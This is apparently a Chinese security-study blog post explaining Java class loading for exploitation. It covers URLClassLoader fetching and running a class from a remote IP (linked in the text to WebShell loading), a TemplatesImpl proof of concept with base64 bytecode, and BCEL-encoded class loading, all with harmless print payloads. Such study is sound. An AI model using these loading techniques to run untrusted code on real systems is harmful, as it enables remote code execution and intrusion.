运行Java时,不会一次性的把class文件加载进内存,而是通过类加载机制进行动态加载,从而转换成java.lang.Class类的一个实例。

JAVA四种修饰符的访问权限的,图出自鹏鹏哥哥的小红帽

img

ClassLoader类

Java提供了ClassLoader类实现类加载。

loadClass(String name)方法

加载名称为name的类,返回的结果是java.lang.Class类的实例。

通过阅读源码可知,loadClass方法的运行过程为:

  1. 调用findLoadedClass检查类是否已经被加载。
  2. 如果未被加载,则使用加载器的父类加载器进行加载。(递归逐级向上检查父类加载器能否加载)
  3. 如果父类加载器无法对该类进行加载时,则会调用自身的findClass方法,因此可以重写findClass方法来完成一些类加载的特殊要求。
defineClass(String name,byte[] b,int off,int len)

将字节数组中的内容转换成Java类,返回结果是java.lang.Class类的实例,该方法声明为final,无法被重写。

因此,重写findClass方法就可以通过调用defineClass来实现自定义加载类。

    @Override
    protected Class<?> findClass(String name) throws ClassNotFoundException {
        if(name.equals(this.name)) {
           return defineClass(name, bytes, 0, bytes.length);
        }
        return super.findClass(name);
    }
getParent()方法

返回当前类加载器的父类加载器。

resolveClass(Class<?>)方法

链接指定的Java类。

URLClassLoader类

URLCIassLoader类是ClassLoader的一个实现,拥有从远程服务器上加载类的能力。通过URLCIassLoader可以实现对一些WebShell的远程加载。

正常情况下,Java会根据配置项 sun.boot.class.path 和 java.class.path 中列举到的基础路径(这些路径是经过处理后的 java.net.URL 类)来寻找.class文件来加载,而这个基础路径有分为三种情况:

  1. URL未以斜杠 / 结尾,则认为是一个JAR文件,使用 JarLoader 来寻找类,即为在Jar包中寻找.class文件
  2. URL以斜杠 / 结尾,且协议名是 file ,则使用 FileLoader 来寻找类,即为在本地文件系统中寻找.class文件
  3. URL以斜杠 / 结尾,且协议名不是 file ,则使用最基础的 Loader 来寻找类

以下为测试代码,通过Hello类远程加载Hello1.class。注意这里是包结构,因此Hello1这个类编译需要改名为com.Hello1.class,不然会加载失败。

---------------------------------------Hello---------------------------------------------
package com;

import java.net.URL;
import java.net.URLClassLoader;
public class Hello {
    public static void main( String[] args ) throws Exception {
        URL[] urls = {new URL("http://49.???.???.???/")};
        URLClassLoader loader = URLClassLoader.newInstance(urls);
        Class c = loader.loadClass("com.Hello1");
        c.newInstance();
    }
}
--------------------------------------Hello1---------------------------------------------
package com;

public class Hello1 {
    public Hello1(){
        System.out.println("Hacked by Squirt1e");
    }

    public static void main(String[] args) {
        System.out.println("I am void main");
    }
}
-------------------------------------output----------------------------------------------
Hacked by Squirt1e

TemplatesImpl加载字节码

由于defineClass()方法的作用域是protected,外部类是无法调用的。因此在访问protected成员变量或方法必须通过setAccessible(true),因此defineClass是不好直接调用的。

TemplatesImpl 类中定义了一个内部类TransletClassLoader ,重写了defineClass方法。

        /**
         * Access to final protected superclass member from outer class.
         */
        Class defineClass(final byte[] b) {
            return defineClass(null, b, 0, b.length);
        }

没有声明修饰符就默认为default,可以从外部类访问。

调用链:

TemplatesImpl#newTransformer()->TemplatesImpl#getTransletInstance()->TemplatesImpl#defineTransletClasses()->TransletClassLoader#defineClass()

newTransformer方法是public可以直接调用,因此P牛的poc(去GitHub下个ysoserial)。

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import java.util.Base64;

import ysoserial.payloads.util.Reflections;


public class TemplateExp {
    public static void main(String[] args) throws Exception {
        // source: bytecodes/HelloTemplateImpl.java
        byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAbDAAcAB0BABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwAeDAAfACABABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAIAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAACgALAAAABAABAAwAAQAOAA8AAQAJAAAALQACAAEAAAANKrcAAbIAAhIDtgAEsQAAAAEACgAAAA4AAwAAAA0ABAAOAAwADwABABAAAAACABE=");
        TemplatesImpl obj = new TemplatesImpl();
        Reflections.setFieldValue(obj, "_bytecodes", new byte[][] {code});
        Reflections.setFieldValue(obj, "_name", "HelloTemplatesImpl");
        Reflections.setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        obj.newTransformer();
    }

}

一大串字符是base64编码后的字节码,注意:字节码对应的类必须是 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet 的子类。

接着我们要通过setFieldValue设置私有变量,_bytecodes为交给JVM的字节码,__name不为null就可以,这是因为👇

    private Translet getTransletInstance()
        throws TransformerConfigurationException {
        try {
            if (_name == null) return null;

            if (_class == null) defineTransletClasses();
            ...//略

设置_tfactory是因为defineTransletClasses方法调用了TransformerFactoryImpl类中的getExternalExtensionsMap方法。

BCEL ClassLoader加载字节码

BCEL是专门用来操控class字节码文件的类,jdk8u251后移除了BCEL的ClassLoader类,之前的版本可以利用。 Repository 用于将一个Java class转换为原生字节码,也可以直接使用javac命令来编译java文件生成字节码;Utility 将

原生的字节码转换成BCEL格式的字节码,注意Utility.encode生成的BCEL字节码要加上$$BCEL$$的前缀。

import java.lang.reflect.InvocationTargetException;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import org.apache.bcel.classfile.Utility;

public class HelloBCEL {
    public static void main(String []args) throws Exception {
        JavaClass cls = Repository.lookupClass(com.Hello1.class);
        String code = Utility.encode(cls.getBytes(), true);
        System.out.println(code);
        decode();
    }
    public static void decode() throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException {
        new ClassLoader().loadClass("$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQMO$c2$40$Q$7d$x$95$d2R$BA$f0$5b$8bz$40$P$S$S$T$P$Y$3d$98$YL$88$9a$60$b8xZ$ca$G$X$fb$a1$a5$90$f0$b3$f4$a0$89$H$7f$80$3f$ca8$5bH$I$Jm2$d3$f7v$e6$cd$9b$ed$ef$df$f7$P$803$i$99$d0Q4P$c2z$K$h$s6$b1$95$c2$b6$8e$j$j$bb$M$c9$L$e9$cb$e8$92$nQ9n3h$d7AW0d$9b$d2$XwC$af$p$c2G$deq$89$c97$D$87$bbm$kJ$85$a7$a4$W$3d$cb$B$83$d5t$C$af$da$Q$ae$h$d4$ea$c4z$5c$fa$M$a5$caS$b3$cfG$bc$ear$bfWmE$a1$f4$7b$f5x$G$P$7b$d4UXp$cc$60$b6$82a$e8$88$h$a9$f4$d3$T$cdSUg$n$FC$c7$9e$85$7d$d8$e4$a7$c1$9d$X$d1$b5$3bc$bb$f56$94aT$T$3a$ca$W$Op$c8$90$b9$b5$b9g$8f$C$d9$b5$t$5e$cc$99A$86$dcl$ec$7d$a7$_$9ch$8ej$8d$H$91$f0$e8$3e$82$n$j$U$t$keP$7d$m$83$R$d9$U$dc$p$9b$85$F4$83$fe$aa$90K$D$8b$95E$bb$a3$8c$q$fd$M$f5$y$81$a9$85$u$9a$84$aeb$M$ac$9c$7c$81$7d$60$v$9f$f8$84$f6$k$97$a5$vf$90$a0$98$84F$cd$ea$k$yB$d6$a4$81$de$Me$DY$e4$a6b$e7S1C$J$z$cf$J$99$94A_Jb$sb$60$Vy$ca$b4V$5c$b9$f6$P$v$c2$l$b2$3c$C$A$A").newInstance();
        }
}
--------------------------------------output----------------------------------------
$l$8b$I$A$A$A$A$A$A$AmQMO$c2$40$Q$7d$x$95$d2R$BA$f0$5b$8bz$40$P$S$S$T$P$Y//略
Hacked by Squirt1e

注:BCEL格式的字节码就是把原生字节码进行HEX编码,再把反斜线替换成$。